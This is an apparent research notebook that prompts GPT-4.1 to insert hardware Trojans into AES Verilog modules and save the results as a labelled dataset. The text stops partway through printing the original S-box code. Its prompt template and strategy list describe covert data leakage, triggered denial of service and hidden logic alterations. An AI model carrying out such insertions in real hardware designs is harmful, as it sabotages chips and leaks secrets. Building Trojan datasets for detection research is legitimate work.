{
  "cells": [
    {
      "cell_type": "markdown",
      "metadata": {
        "id": "d423a168"
      },
      "source": [
        "### 1. Setup OpenAI API Key\n",
        "This cell imports required libraries and sets up your OpenAI API key."
      ]
    },
    {
      "cell_type": "code",
      "execution_count": null,
      "metadata": {
        "id": "ILpKWrPiGBVH"
      },
      "outputs": [],
      "source": [
        "import openai\n",
        "from openai import OpenAI\n",
        "import json\n",
        "import os\n",
        "openai_api_key='your_openai_api_key_here'\n"
      ]
    },
    {
      "cell_type": "markdown",
      "metadata": {
        "id": "edb92cc7"
      },
      "source": [
        "### 2. Load Base RTL Designs\n",
        "This function loads Verilog/VHDL files from a specified folder for modification."
      ]
    },
    {
      "cell_type": "code",
      "execution_count": 2,
      "metadata": {
        "id": "u4qIJZXqGS90"
      },
      "outputs": [],
      "source": [
        "def load_base_designs(directory):\n",
        "    base_designs = []\n",
        "    for file in os.listdir(directory):\n",
        "        if file.endswith(\".v\"):\n",
        "            with open(os.path.join(directory, file), \"r\") as f:\n",
        "                base_designs.append((file, f.read()))\n",
        "    return base_designs"
      ]
    },
    {
      "cell_type": "markdown",
      "metadata": {
        "id": "eec39b70"
      },
      "source": [
        "### 3. Construct Trojan Injection Prompt\n",
        "Here we build a prompt for the LLM describing where/how to insert the Trojan."
      ]
    },
    {
      "cell_type": "code",
      "execution_count": 3,
      "metadata": {
        "id": "fod7-YQpGXic"
      },
      "outputs": [],
      "source": [
        "def construct_prompt(design, vulnerability, prompting_strategy):\n",
        "    prompt = f\"\"\"\n",
        "Analyze and modify the following Verilog code to insert a hardware Trojan:\n",
        "\n",
        "<{design}>\n",
        "\n",
        "Task: Insert a {vulnerability} Trojan using this strategy: {prompting_strategy}\n",
        "Maintain original functionality while adding the Trojan. Ensure the design is fully synthesizable.\n",
        "\n",
        "Synthesizable Design Guidelines\n",
        "1. Implement proper reset logic and initialize all registers and state elements.\n",
        "2. Employ counters for time/event-based triggers.\n",
        "3. Handle all cases in conditional logic, including else and default cases.\n",
        "4. Omit non-synthesizable constructs (initial blocks, $display).\n",
        "5. Ensure all modifications are within synthesizable Verilog constructs.\n",
        "\n",
        "Provide a response in the following format:\n",
        "\n",
        "Code:\n",
        "<Insert full modified Verilog code with comments highlighting Trojan insertions(must provide the complete code)>\n",
        "\n",
        "Explanation:\n",
        "<Two-line description of how the Trojan was inserted and its impact>\n",
        "\n",
        "Trigger:\n",
        "<Two-line description of the Trojan's trigger mechanism and activation conditions>\n",
        "\n",
        "Payload:\n",
        "<Two-line description of the Trojan's payload and its effects>\n",
        "\n",
        "Taxonomy:\n",
        "<Insertion phase: Design\n",
        "Abstraction level: Register-transfer level\n",
        "Activation mechanism: [Specify: Always-on, Triggered internally/externally, etc.]\n",
        "Effects: {vulnerability}\n",
        "Location: [Specify: Processor, Memory, I/O, Power Supply, Clock Grid]\n",
        "Characteristics: [Specify: Distribution, Size, Type (Functional/Parametric)]>\n",
        "\n",
        "Important Instruction: Ensure your response strictly adheres to this format.\n",
        "CRITICAL INSTRUCTION: Provide only one instance of each section. Do not repeat or rephrase your response under any circumstances. Your response must contain exactly one Code section, one Explanation section, one Trigger section, one Payload section, and one Taxonomy section. Any repetition will result in an incorrect output.\n",
        "\n",
        "\"\"\"\n",
        "    return prompt\n",
        "\n",
        "vulnerabilities = {\n",
        "    \"T1\": \"change functionality\",\n",
        "    \"T2\": \"leak information\",\n",
        "    \"T3\": \"denial of service\",\n",
        "    \"T4\": \"performance degradation\"\n",
        "}\n",
        "\n",
        "prompting_strategies = {\n",
        "    \"T1\": \"Subtly alter logic to produce incorrect results under specific conditions.\",\n",
        "    \"T2\": \"Design a covert data transmission mechanism that activates upon detecting a specific signal pattern and ensure access to key internal signals.\",\n",
        "    \"T3\": \"Introduce a condition that temporarily disables the module, triggered by a rare sequence of events.\",\n",
        "    \"T4\": \"Implement a continously running shift register or accumulator to increase power consumption without affecting primary functionality upon detecting a specific event.\"\n",
        "    # \"T2\": \"Add a covert mechanism to transmit internal data, activated by a specific signal pattern.\",\n",
        "}\n"
      ]
    },
    {
      "cell_type": "markdown",
      "metadata": {
        "id": "f314d80c"
      },
      "source": [
        "### 4. Send Prompt to OpenAI\n",
        "This function sends the prompt to the LLM and retrieves the response."
      ]
    },
    {
      "cell_type": "code",
      "execution_count": 4,
      "metadata": {
        "id": "sO8qnG1pGm4B"
      },
      "outputs": [],
      "source": [
        "#ChatGPT\n",
        "from openai import OpenAI\n",
        "client = OpenAI(api_key=openai_api_key)\n",
        "\n",
        "def model_inference(prompt):\n",
        "    model_name = \"gpt-4.1\" # choose: gpt-4 or gpt-4.1\n",
        "    completion = client.chat.completions.create(\n",
        "        model=model_name,\n",
        "        messages=[\n",
        "            {\"role\": \"system\", \"content\": \"You are an expert skilled in hardware design and verification.\"},\n",
        "            {\"role\": \"user\", \"content\": prompt}\n",
        "        ]\n",
        "    )\n",
        "    return completion.choices[0].message.content, model_name\n"
      ]
    },
    {
      "cell_type": "markdown",
      "metadata": {
        "id": "7d206689"
      },
      "source": [
        "### 5. Extract Code and Metadata\n",
        "This function parses the LLM output and separates the code, explanations, and Trojan type."
      ]
    },
    {
      "cell_type": "code",
      "execution_count": 5,
      "metadata": {
        "id": "8OF3plkXGsLp"
      },
      "outputs": [],
      "source": [
        "def extract_code_and_metadata(response_text):\n",
        "    sections = [\"code:\", \"explanation:\", \"trigger:\", \"payload:\", \"taxonomy:\"]\n",
        "    results = {}\n",
        "\n",
        "    response_lower = response_text.lower()\n",
        "    for i, section in enumerate(sections):\n",
        "        start = response_lower.find(section)\n",
        "        if start == -1:\n",
        "            print(f\"Warning: '{section}' not found in the response.\")\n",
        "            results[section] = \"\"\n",
        "            continue\n",
        "\n",
        "        start += len(section)\n",
        "        if i < len(sections) - 1:\n",
        "            end = response_lower.find(sections[i+1], start)\n",
        "            if end == -1:\n",
        "                end = len(response_lower)\n",
        "        else:\n",
        "            end = len(response_lower)\n",
        "\n",
        "        content = response_text[start:end].strip()\n",
        "\n",
        "        # Clean up the content\n",
        "        content = clean_content(content, section)\n",
        "\n",
        "        results[section] = content\n",
        "\n",
        "    return (results[\"code:\"], results[\"explanation:\"], results[\"trigger:\"],\n",
        "            results[\"payload:\"], results[\"taxonomy:\"])\n",
        "\n",
        "def clean_content(content, section):\n",
        "    # Remove triple backticks and language specifiers\n",
        "    content = content.replace(\"```\", \"\").strip()\n",
        "\n",
        "    # Remove '##' markers\n",
        "    content = content.replace(\"##\", \"\").strip()\n",
        "\n",
        "    # For code section, ensure it starts with `timescale, `include, or module\n",
        "    if section == \"code:\":\n",
        "        lines = content.split(\"\\n\")\n",
        "        start_index = 0\n",
        "        for i, line in enumerate(lines):\n",
        "            if (line.strip().startswith(\"`timescale\") or\n",
        "                line.strip().startswith(\"`include\") or\n",
        "                line.strip().startswith(\"module\")):\n",
        "                start_index = i\n",
        "                break\n",
        "        content = \"\\n\".join(lines[start_index:])\n",
        "\n",
        "    # For non-code sections, take only the first paragraph to avoid repetition\n",
        "    elif section != \"taxonomy:\":\n",
        "        paragraphs = content.split(\"\\n\\n\")\n",
        "        content = paragraphs[0] if paragraphs else \"\"\n",
        "\n",
        "    return content.strip()\n"
      ]
    },
    {
      "cell_type": "code",
      "execution_count": 6,
      "metadata": {
        "id": "SRonh9K9JAxp"
      },
      "outputs": [],
      "source": [
        "\n",
        "import os\n",
        "\n",
        "def create_directory(path):\n",
        "    os.makedirs(path, exist_ok=True)\n",
        "\n",
        "def save_vulnerable_design(design_name, verilog_code, base_directory, vulnerability_id, model_name, version_number):\n",
        "    base_name = os.path.splitext(design_name)[0]\n",
        "    directory = os.path.join(base_directory, model_name, base_name)\n",
        "    create_directory(directory)\n",
        "    filename = f\"{base_name}_H{vulnerability_id}_{model_name}_A{version_number}.v\"\n",
        "    file_path = os.path.join(directory, filename)\n",
        "    print(f\"Saving vulnerable design to: {file_path}\")\n",
        "\n",
        "    # Remove any content after the last 'endmodule'\n",
        "    last_endmodule_index = verilog_code.rfind('endmodule')\n",
        "    if last_endmodule_index != -1:\n",
        "        verilog_code = verilog_code[:last_endmodule_index] + 'endmodule'\n",
        "\n",
        "    with open(file_path, \"w\") as f:\n",
        "        f.write(verilog_code.strip())\n",
        "\n",
        "def save_vulnerability_description(design_name, base_directory, vulnerability_id, explanation, trigger, payload, taxonomy, model_name, version_number):\n",
        "    base_name = os.path.splitext(design_name)[0]\n",
        "    directory = os.path.join(base_directory, model_name, base_name)\n",
        "    create_directory(directory)\n",
        "    description = f\"\"\"\n",
        "Design: {design_name}\n",
        "Vulnerability ID: {vulnerability_id}\n",
        "Model: {model_name}\n",
        "Attempts: {version_number}\n",
        "\n",
        "Explanation:\n",
        "{explanation}\n",
        "\n",
        "Trigger:\n",
        "{trigger}\n",
        "\n",
        "Payload:\n",
        "{payload}\n",
        "\n",
        "Taxonomy:\n",
        "{taxonomy}\n",
        "\"\"\"\n",
        "    filename = f\"{base_name}_H{vulnerability_id}_{model_name}_A{version_number}_taxonomy.txt\"\n",
        "    file_path = os.path.join(directory, filename)\n",
        "    print(f\"Saving vulnerability description to: {file_path}\")\n",
        "    with open(file_path, \"w\") as f:\n",
        "        f.write(description.strip())"
      ]
    },
    {
      "cell_type": "code",
      "execution_count": 7,
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "yK3EKv_IKlHJ",
        "outputId": "6fdd2c1a-ddd1-4e50-de4d-d7ffa6dbc4f7"
      },
      "outputs": [
        {
          "name": "stdout",
          "output_type": "stream",
          "text": [
            "Cloning into 'ip-cores'...\n",
            "remote: Enumerating objects: 119893, done.\u001b[K\n",
            "remote: Counting objects: 100% (1/1), done.\u001b[K\n",
            "remote: Total 119893 (delta 0), reused 0 (delta 0), pack-reused 119892 (from 2)\u001b[K\n",
            "Receiving objects: 100% (119893/119893), 664.39 MiB | 21.32 MiB/s, done.\n",
            "Resolving deltas: 100% (32133/32133), done.\n"
          ]
        }
      ],
      "source": [
        "!git clone -b crypto_core_aes https://github.com/fabriziotappero/ip-cores.git"
      ]
    },
    {
      "cell_type": "code",
      "execution_count": 8,
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "collapsed": true,
        "id": "Pgm2TdMOOmuF",
        "outputId": "ea9ea371-e369-40b2-b0d4-d22a90515966"
      },
      "outputs": [
        {
          "data": {
            "text/plain": [
              "[('round.v',\n",
              "  '/*\\n * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\\n *\\n * Licensed under the Apache License, Version 2.0 (the \"License\");\\n * you may not use this file except in compliance with the License.\\n * You may obtain a copy of the License at\\n *\\n * http://www.apache.org/licenses/LICENSE-2.0\\n *\\n * Unless required by applicable law or agreed to in writing, software\\n * distributed under the License is distributed on an \"AS IS\" BASIS,\\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\\n * See the License for the specific language governing permissions and\\n * limitations under the License.\\n */\\n\\n/* one AES round for every two clock cycles */\\nmodule one_round (clk, state_in, key, state_out);\\n    input              clk;\\n    input      [127:0] state_in, key;\\n    output reg [127:0] state_out;\\n    wire       [31:0]  s0,  s1,  s2,  s3,\\n                       z0,  z1,  z2,  z3,\\n                       p00, p01, p02, p03,\\n                       p10, p11, p12, p13,\\n                       p20, p21, p22, p23,\\n                       p30, p31, p32, p33,\\n                       k0,  k1,  k2,  k3;\\n\\n    assign {k0, k1, k2, k3} = key;\\n\\n    assign {s0, s1, s2, s3} = state_in;\\n\\n    table_lookup\\n        t0 (clk, s0, p00, p01, p02, p03),\\n        t1 (clk, s1, p10, p11, p12, p13),\\n        t2 (clk, s2, p20, p21, p22, p23),\\n        t3 (clk, s3, p30, p31, p32, p33);\\n\\n    assign z0 = p00 ^ p11 ^ p22 ^ p33 ^ k0;\\n    assign z1 = p03 ^ p10 ^ p21 ^ p32 ^ k1;\\n    assign z2 = p02 ^ p13 ^ p20 ^ p31 ^ k2;\\n    assign z3 = p01 ^ p12 ^ p23 ^ p30 ^ k3;\\n\\n    always @ (posedge clk)\\n        state_out <= {z0, z1, z2, z3};\\nendmodule\\n\\n/* AES final round for every two clock cycles */\\nmodule final_round (clk, state_in, key_in, state_out);\\n    input              clk;\\n    input      [127:0] state_in;\\n    input      [127:0] key_in;\\n    output reg [127:0] state_out;\\n    wire [31:0] s0,  s1,  s2,  s3,\\n                z0,  z1,  z2,  z3,\\n                k0,  k1,  k2,  k3;\\n    wire [7:0]  p00, p01, p02, p03,\\n                p10, p11, p12, p13,\\n                p20, p21, p22, p23,\\n                p30, p31, p32, p33;\\n    \\n    assign {k0, k1, k2, k3} = key_in;\\n    \\n    assign {s0, s1, s2, s3} = state_in;\\n\\n    S4\\n        S4_1 (clk, s0, {p00, p01, p02, p03}),\\n        S4_2 (clk, s1, {p10, p11, p12, p13}),\\n        S4_3 (clk, s2, {p20, p21, p22, p23}),\\n        S4_4 (clk, s3, {p30, p31, p32, p33});\\n\\n    assign z0 = {p00, p11, p22, p33} ^ k0;\\n    assign z1 = {p10, p21, p32, p03} ^ k1;\\n    assign z2 = {p20, p31, p02, p13} ^ k2;\\n    assign z3 = {p30, p01, p12, p23} ^ k3;\\n\\n    always @ (posedge clk)\\n        state_out <= {z0, z1, z2, z3};\\nendmodule\\n\\n'),\n",
              " ('table.v',\n",
              "  '/*\\n * Copyright 2012, Homer Hsing <homer.hsing@gmail.com>\\n *\\n * Licensed under the Apache License, Version 2.0 (the \"License\");\\n * you may not use this file except in compliance with the License.\\n * You may obtain a copy of the License at\\n *\\n * http://www.apache.org/licenses/LICENSE-2.0\\n *\\n * Unless required by applicable law or agreed to in writing, software\\n * distributed under the License is distributed on an \"AS IS\" BASIS,\\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\\n * See the License for the specific language governing permissions and\\n * limitations under the License.\\n */\\n\\nmodule table_lookup (clk, state, p0, p1, p2, p3);\\n    input clk;\\n    input [31:0] state;\\n    output [31:0] p0, p1, p2, p3;\\n    wire [7:0] b0, b1, b2, b3;\\n    \\n    assign {b0, b1, b2, b3} = state;\\n    T\\n        t0 (clk, b0, {p0[23:0], p0[31:24]}),\\n        t1 (clk, b1, {p1[15:0], p1[31:16]}),\\n        t2 (clk, b2, {p2[7:0],  p2[31:8]} ),\\n        t3 (clk, b3, p3);\\nendmodule\\n\\n/* substitue four bytes in a word */\\nmodule S4 (clk, in, out);\\n    input clk;\\n    input [31:0] in;\\n    output [31:0] out;\\n    \\n    S\\n        S_0 (clk, in[31:24], out[31:24]),\\n        S_1 (clk, in[23:16], out[23:16]),\\n        S_2 (clk, in[15:8],  out[15:8] ),\\n        S_3 (clk, in[7:0],   out[7:0]  );\\nendmodule\\n\\n/* S_box, S_box, S_box*(x+1), S_box*x */\\nmodule T (clk, in, out);\\n    input         clk;\\n    input  [7:0]  in;\\n    output [31:0] out;\\n    \\n    S\\n        s0 (clk, in, out[31:24]);\\n    assign out[23:16] = out[31:24];\\n    xS\\n        s4 (clk, in, out[7:0]);\\n    assign out[15:8] = out[23:16] ^ out[7:0];\\nendmodule\\n\\n/* S box */\\nmodule S (clk, in, out);\\n    input clk;\\n    input [7:0] in;\\n    output reg [7:0] out;\\n\\n    always @ (posedge clk)\\n    case (in)\\n    8\\'h00: out <= 8\\'h63;\\n    8\\'h01: out <= 8\\'h7c;\\n    8\\'h02: out <= 8\\'h77;\\n    8\\'h03: out <= 8\\'h7b;\\n    8\\'h04: out <= 8\\'hf2;\\n    8\\'h05: out <= 8\\'h6b;\\n    8\\'h06: out <= 8\\'h6f;\\n    8\\'h07: out <= 8\\'hc5;\\n    8\\'h08: out <= 8\\'h30;\\n    8\\'h09: out <= 8\\'h01;\\n    8\\'h0a: out <= 8\\'h67;\\n    8\\'h0b: out <= 8\\'h2b;\\n    8\\'h0c: out <= 8\\'hfe;\\n    8\\'h0d: out <= 8\\'hd7;\\n    8\\'h0e: out <= 8\\'hab;\\n    8\\'h0f: out <= 8\\'h76;\\n    8\\'h10: out <= 8\\'hca;\\n    8\\'h11: out <= 8\\'h82;\\n    8\\'h12: out <= 8\\'hc9;\\n    8\\'h13: out <= 8\\'h7d;\\n    8\\'h14: out <= 8\\'hfa;\\n    8\\'h15: out <= 8\\'h59;\\n    8\\'h16: out <= 8\\'h47;\\n    8\\'h17: out <= 8\\'hf0;\\n    8\\'h18: out <= 8\\'had;\\n    8\\'h19: out <= 8\\'hd4;\\n    8\\'h1a: out <= 8\\'ha2;\\n    8\\'h1b: out <= 8\\'haf;\\n    8\\'h1c: out <= 8\\'h9c;\\n    8\\'h1d: out <= 8\\'ha4;\\n    8\\'h1e: out <= 8\\'h72;\\n    8\\'h1f: out <= 8\\'hc0;\\n    8\\'h20: out <= 8\\'hb7;\\n    8\\'h21: out <= 8\\'hfd;\\n    8\\'h22: out <= 8\\'h93;\\n    8\\'h23: out <= 8\\'h26;\\n    8\\'h24: out <= 8\\'h36;\\n    8\\'h25: out <= 8\\'h3f;\\n    8\\'h26: out <= 8\\'hf7;\\n    8\\'h27: out <= 8\\'hcc;\\n    8\\'h28: out <= 8\\'h34;\\n    8\\'h29: out <= 8\\'ha5;\\n    8\\'h2a: out <= 8\\'he5;\\n    8\\'h2b: out <= 8\\'hf1;\\n    8\\'h2c: out <= 8\\'h71;\\n    8\\'h2d: out <= 8\\'hd8;\\n    8\\'h2e: out <= 8\\'h31;\\n    8\\'h2f: out <= 8\\'h15;\\n    8\\'h30: out <= 8\\'h04;\\n    8\\'h31: out <= 8\\'hc7;\\n    8\\'h32: out <= 8\\'h23;\\n    8\\'h33: out <= 8\\'hc3;\\n    8\\'h34: out <= 8\\'h18;\\n    8\\'h35: out <= 8\\'h96;\\n    8\\'h36: out <= 8\\'h05;\\n    8\\'h37: out <= 8\\'h9a;\\n    8\\'h38: out <= 8\\'h07;\\n    8\\'h39: out <= 8\\'h12;\\n    8\\'h3a: out <= 8\\'h80;\\n    8\\'h3b: out <= 8\\'he2;\\n    8\\'h3c: out <= 8\\'heb;\\n    8\\'h3d: out <= 8\\'h27;\\n    8\\'h3e: out <= 8\\'hb2;\\n    8\\'h3f: out <= 8\\'h75;\\n    8\\'h40: out <= 8\\'h09;\\n    8\\'h41: out <= 8\\'h83;\\n    8\\'h42: out <= 8\\'h2c;\\n    8\\'h43: out <= 8\\'h1a;\\n    8\\'h44: out <= 8\\'h1b;\\n    8\\'h45: out <= 8\\'h6e;\\n    8\\'h46: out <= 8\\'h5a;\\n    8\\'h47: out <= 8\\'ha0;\\n    8\\'h48: out <= 8\\'h52;\\n    8\\'h49: out <= 8\\'h3b;\\n    8\\'h4a: out <= 8\\'hd6;\\n    8\\'h4b: out <= 8\\'hb3;\\n    8\\'h4c: out <= 8\\'h29;\\n    8\\'h4d: out <= 8\\'he3;\\n    8\\'h4e: out <= 8\\'h2f;\\n    8\\'h4f: out <= 8\\'h84;\\n    8\\'h50: out <= 8\\'h53;\\n    8\\'h51: out <= 8\\'hd1;\\n    8\\'h52: out <= 8\\'h00;\\n    8\\'h53: out <= 8\\'hed;\\n    8\\'h54: out <= 8\\'h20;\\n    8\\'h55: out <= 8\\'hfc;\\n    8\\'h56: out <= 8\\'hb1;\\n    8\\'h57: out <= 8\\'h5b;\\n    8\\'h58: out <= 8\\'h6a;\\n    8\\'h59: out <= 8\\'hcb;\\n    8\\'h5a: out <= 8\\'hbe;\\n    8\\'h5b: out <= 8\\'h39;\\n    8\\'h5c: out <= 8\\'h4a;\\n    8\\'h5d: out <= 8\\'h4c;\\n    8\\'h5e: out <= 8\\'h58;\\n    8\\'h5f: out <= 8\\'hcf;\\n    8\\'h60: out <= 8\\'hd0;\\n    8\\'h61: out <= 8\\'hef;\\n    8\\'h62: out <= 8\\'haa;\\n    8\\'h63: out <= 8\\'hfb;\\n    8\\'h64: out <= 8\\'h43;\\n    8\\'h65: out <= 8\\'h4d;\\n    8\\'h66: out <= 8\\'h33;\\n    8\\'h67: out <= 8\\'h85;\\n    8\\'h68: out <= 8\\'h45;\\n    8\\'h69: out <= 8\\'hf9;\\n    8\\'h6a: out <= 8\\'h02;\\n    8\\'h6b: out <= 8\\'h7f;\\n    8\\'h6c: out <= 8\\'h50;\\n    8\\'h6d: out <= 8\\'h3c;\\n    8\\'h6e: out <= 8\\'h9f;\\n    8\\'h6f: out <= 8\\'ha8;\\n    8\\'h70: out <= 8\\'h51;\\n    8\\'h71: out <= 8\\'ha3;\\n    8\\'h72: out <= 8\\'h40;\\n    8\\'h73: out <= 8\\'h8f;\\n    8\\'h74: out <= 8\\'h92;\\n    8\\'h75: out <= 8\\'h9d;\\n    8\\'h76: out <= 8\\'h38;\\n    8\\'h77: out <= 8\\'hf5;\\n    8\\'h78: out <= 8\\'hbc;\\n    8\\'h79: out <= 8\\'hb6;\\n    8\\'h7a: out <= 8\\'hda;\\n    8\\'h7b: out <= 8\\'h21;\\n    8\\'h7c: out <= 8\\'h10;\\n    8\\'h7d: out <= 8\\'hff;\\n    8\\'h7e: out <= 8\\'hf3;\\n    8\\'h7f: out <= 8\\'hd2;\\n    8\\'h80: out <= 8\\'hcd;\\n    8\\'h81: out <= 8\\'h0c;\\n    8\\'h82: out <= 8\\'h13;\\n    8\\'h83: out <= 8\\'hec;\\n    8\\'h84: out <= 8\\'h5f;\\n    8\\'h85: out <= 8\\'h97;\\n    8\\'h86: out <= 8\\'h44;\\n    8\\'h87: out <= 8\\'h17;\\n    8\\'h88: out <= 8\\'hc4;\\n    8\\'h89: out <= 8\\'ha7;\\n    8\\'h8a: out <= 8\\'h7e;\\n    8\\'h8b: out <= 8\\'h3d;\\n    8\\'h8c: out <= 8\\'h64;\\n    8\\'h8d: out <= 8\\'h5d;\\n    8\\'h8e: out <= 8\\'h19;\\n    8\\'h8f: out <= 8\\'h73;\\n    8\\'h90: out <= 8\\'h60;\\n    8\\'h91: out <= 8\\'h81;\\n    8\\'h92: out <= 8\\'h4f;\\n    8\\'h93: out <= 8\\'hdc;\\n    8\\'h94: out <= 8\\'h22;\\n    8\\'h95: out <= 8\\'h2a;\\n    8\\'h96: out <= 8\\'h90;\\n    8\\'h97: out <= 8\\'h88;\\n    8\\'h98: out <= 8\\'h46;\\n    8\\'h99: out <= 8\\'hee;\\n    8\\'h9a: out <= 8\\'hb8;\\n    8\\'h9b: out <= 8\\'h14;\\n    8\\'h9c: out <= 8\\'hde;\\n    8\\'h9d: out <= 8\\'h5e;\\n    8\\'h9e: out <= 8\\'h0b;\\n    8\\'h9f: out <= 8\\'hdb;\\n    8\\'ha0: out <= 8\\'he0;\\n    8\\'ha1: out <= 8\\'h32;\\n    8\\'ha2: out <= 8\\'h3a;\\n    8\\'ha3: out <= 8\\'h0a;\\n    8\\'ha4: out <= 8\\'h49;\\n    8\\'ha5: out <= 8\\'h06;\\n    8\\'ha6: out <= 8\\'h24;\\n    8\\'ha7: out <= 8\\'h5c;\\n    8\\'ha8: out <= 8\\'hc2;\\n    8\\'ha9: out <= 8\\'hd3;\\n    8\\'haa: out <= 8\\'hac;\\n    8\\'hab: out <= 8\\'h62;\\n    8\\'hac: out <= 8\\'h91;\\n    8\\'had: out <= 8\\'h95;\\n    8\\'hae: out <= 8\\'he4;\\n    8\\'haf: out <= 8\\'h79;\\n    8\\'hb0: out <= 8\\'he7;\\n    8\\'hb1: out <= 8\\'hc8;\\n    8\\'hb2: out <= 8\\'h37;\\n    8\\'hb3: out <= 8\\'h6d;\\n    8\\'hb4: out <= 8\\'h8d;\\n    8\\'hb5: out <= 8\\'hd5;\\n    8\\'hb6: out <= 8\\'h4e;\\n    8\\'hb7: out <= 8\\'ha9;\\n    8\\'hb8: out <= 8\\'h6c;\\n    8\\'hb9: out <= 8\\'h56;\\n    8\\'hba: out <= 8\\'hf4;\\n    8\\'hbb: out <= 8\\'hea;\\n    8\\'hbc: out <= 8\\'h65;\\n    8\\'hbd: out <= 8\\'h7a;\\n    8\\'hbe: out <= 8\\'hae;\\n    8\\'hbf: out <= 8\\'h08;\\n    8\\'hc0: out <= 8\\'hba;\\n    8\\'hc1: out <= 8\\'h78;\\n    8\\'hc2: out <= 8\\'h25;\\n    8\\'hc3: out <= 8\\'h2e;\\n    8\\'hc4: out <= 8\\'h1c;\\n    8\\'hc5: out <= 8\\'ha6;\\n    8\\'hc6: out <= 8\\'hb4;\\n    8\\'hc7: out <= 8\\'hc6;\\n    8\\'hc8: out <= 8\\'he8;\\n    8\\'hc9: out <= 8\\'hdd;\\n    8\\'hca: out <= 8\\'h74;\\n    8\\'hcb: out <= 8\\'h1f;\\n    8\\'hcc: out <= 8\\'h4b;\\n    8\\'hcd: out <= 8\\'hbd;\\n    8\\'hce: out <= 8\\'h8b;\\n    8\\'hcf: out <= 8\\'h8a;\\n    8\\'hd0: out <= 8\\'h70;\\n    8\\'hd1: out <= 8\\'h3e;\\n    8\\'hd2: out <= 8\\'hb5;\\n    8\\'hd3: out <= 8\\'h66;\\n    8\\'hd4: out <= 8\\'h48;\\n    8\\'hd5: out <= 8\\'h03;\\n    8\\'hd6: out <= 8\\'hf6;\\n    8\\'hd7: out <= 8\\'h0e;\\n    8\\'hd8: out <= 8\\'h61;\\n    8\\'hd9: out <= 8\\'h35;\\n    8\\'hda: out <= 8\\'h57;\\n    8\\'hdb: out <= 8\\'hb9;\\n    8\\'hdc: out <= 8\\'h86;\\n    8\\'hdd: out <= 8\\'hc1;\\n    8\\'hde: out <= 8\\'h1d;\\n    8\\'hdf: out <= 8\\'h9e;\\n    8\\'he0: out <= 8\\'he1;\\n    8\\'he1: out <= 8\\'hf8;\\n    8\\'he2: out <= 8\\'h98;\\n    8\\'he3: out <= 8\\'h11;\\n    8\\'he4: out <= 8\\'h69;\\n    8\\'he5: out <= 8\\'hd9;\\n    8\\'he6: out <= 8\\'h8e;\\n    8\\'he7: out <= 8\\'h94;\\n    8\\'he8: out <= 8\\'h9b;\\n    8\\'he9: out <= 8\\'h1e;\\n    8\\'hea: out <= 8\\'h87;\\n    8\\'heb: out <= 8\\'he9;\\n    8\\'hec: out <= 8\\'hce;\\n    8\\'hed: out <= 8\\'h55;\\n    8\\'hee: out <= 8\\'h28;\\n    8\\'hef: out <= 8\\'hdf;\\n    8\\'hf0: out <= 8\\'h8c;\\n    8\\'hf1: out <= 8\\'ha1;\\n    8\\'hf2: out <= 8\\'h89;\\n    8\\'hf3: out <= 8\\'h0d;\\n    8\\'hf4: out <= 8\\'hbf;\\n    8\\'hf5: out <= 8\\'he6;\\n    8\\'hf6: out <= 8\\'h42;\\n    8\\'hf7: out <= 8\\'h68;\\n    8\\'hf8: out <= 8\\'h41;\\n    8\\'hf9: out <= 8\\'h99;\\n    8\\'hfa: out <= 8\\'h2d;\\n    8\\'hfb: out <= 8\\'h0f;\\n    8\\'hfc: out <= 8\\'hb0;\\n    8\\'hfd: out <= 8\\'h54;\\n    8\\'hfe: out <= 8\\'hbb;\\n    8\\'hff: out <= 8\\'h16;\\n    endcase\\nendmodule\\n\\n/* S box * x */\\nmodule xS (clk, in, out);\\n    input clk;\\n    input [7:0] in;\\n    output reg [7:0] out;\\n\\n    always @ (posedge clk)\\n    case (in)\\n    8\\'h00: out <= 8\\'hc6;\\n    8\\'h01: out <= 8\\'hf8;\\n    8\\'h02: out <= 8\\'hee;\\n    8\\'h03: out <= 8\\'hf6;\\n    8\\'h04: out <= 8\\'hff;\\n    8\\'h05: out <= 8\\'hd6;\\n    8\\'h06: out <= 8\\'hde;\\n    8\\'h07: out <= 8\\'h91;\\n    8\\'h08: out <= 8\\'h60;\\n    8\\'h09: out <= 8\\'h02;\\n    8\\'h0a: out <= 8\\'hce;\\n    8\\'h0b: out <= 8\\'h56;\\n    8\\'h0c: out <= 8\\'he7;\\n    8\\'h0d: out <= 8\\'hb5;\\n    8\\'h0e: out <= 8\\'h4d;\\n    8\\'h0f: out <= 8\\'hec;\\n    8\\'h10: out <= 8\\'h8f;\\n    8\\'h11: out <= 8\\'h1f;\\n    8\\'h12: out <= 8\\'h89;\\n    8\\'h13: out <= 8\\'hfa;\\n    8\\'h14: out <= 8\\'hef;\\n    8\\'h15: out <= 8\\'hb2;\\n    8\\'h16: out <= 8\\'h8e;\\n    8\\'h17: out <= 8\\'hfb;\\n    8\\'h18: out <= 8\\'h41;\\n    8\\'h19: out <= 8\\'hb3;\\n    8\\'h1a: out <= 8\\'h5f;\\n    8\\'h1b: out <= 8\\'h45;\\n    8\\'h1c: out <= 8\\'h23;\\n    8\\'h1d: out <= 8\\'h53;\\n    8\\'h1e: out <= 8\\'he4;\\n    8\\'h1f: out <= 8\\'h9b;\\n    8\\'h20: out <= 8\\'h75;\\n    8\\'h21: out <= 8\\'he1;\\n    8\\'h22: out <= 8\\'h3d;\\n    8\\'h23: out <= 8\\'h4c;\\n    8\\'h24: out <= 8\\'h6c;\\n    8\\'h25: out <= 8\\'h7e;\\n    8\\'h26: out <= 8\\'hf5;\\n    8\\'h27: out <= 8\\'h83;\\n    8\\'h28: out <= 8\\'h68;\\n    8\\'h29: out <= 8\\'h51;\\n    8\\'h2a: out <= 8\\'hd1;\\n    8\\'h2b: out <= 8\\'hf9;\\n    8\\'h2c: out <= 8\\'he2;\\n    8\\'h2d: out <= 8\\'hab;\\n    8\\'h2e: out <= 8\\'h62;\\n    8\\'h2f: out <= 8\\'h2a;\\n    8\\'h30: out <= 8\\'h08;\\n    8\\'h31: out <= 8\\'h95;\\n    8\\'h32: out <= 8\\'h46;\\n    8\\'h33: out <= 8\\'h9d;\\n    8\\'h34: out <= 8\\'h30;\\n    8\\'h35: out <= 8\\'h37;\\n    8\\'h36: out <= 8\\'h0a;\\n    8\\'h37: out <= 8\\'h2f;\\n    8\\'h38: out <= 8\\'h0e;\\n    8\\'h39: out <= 8\\'h24;\\n    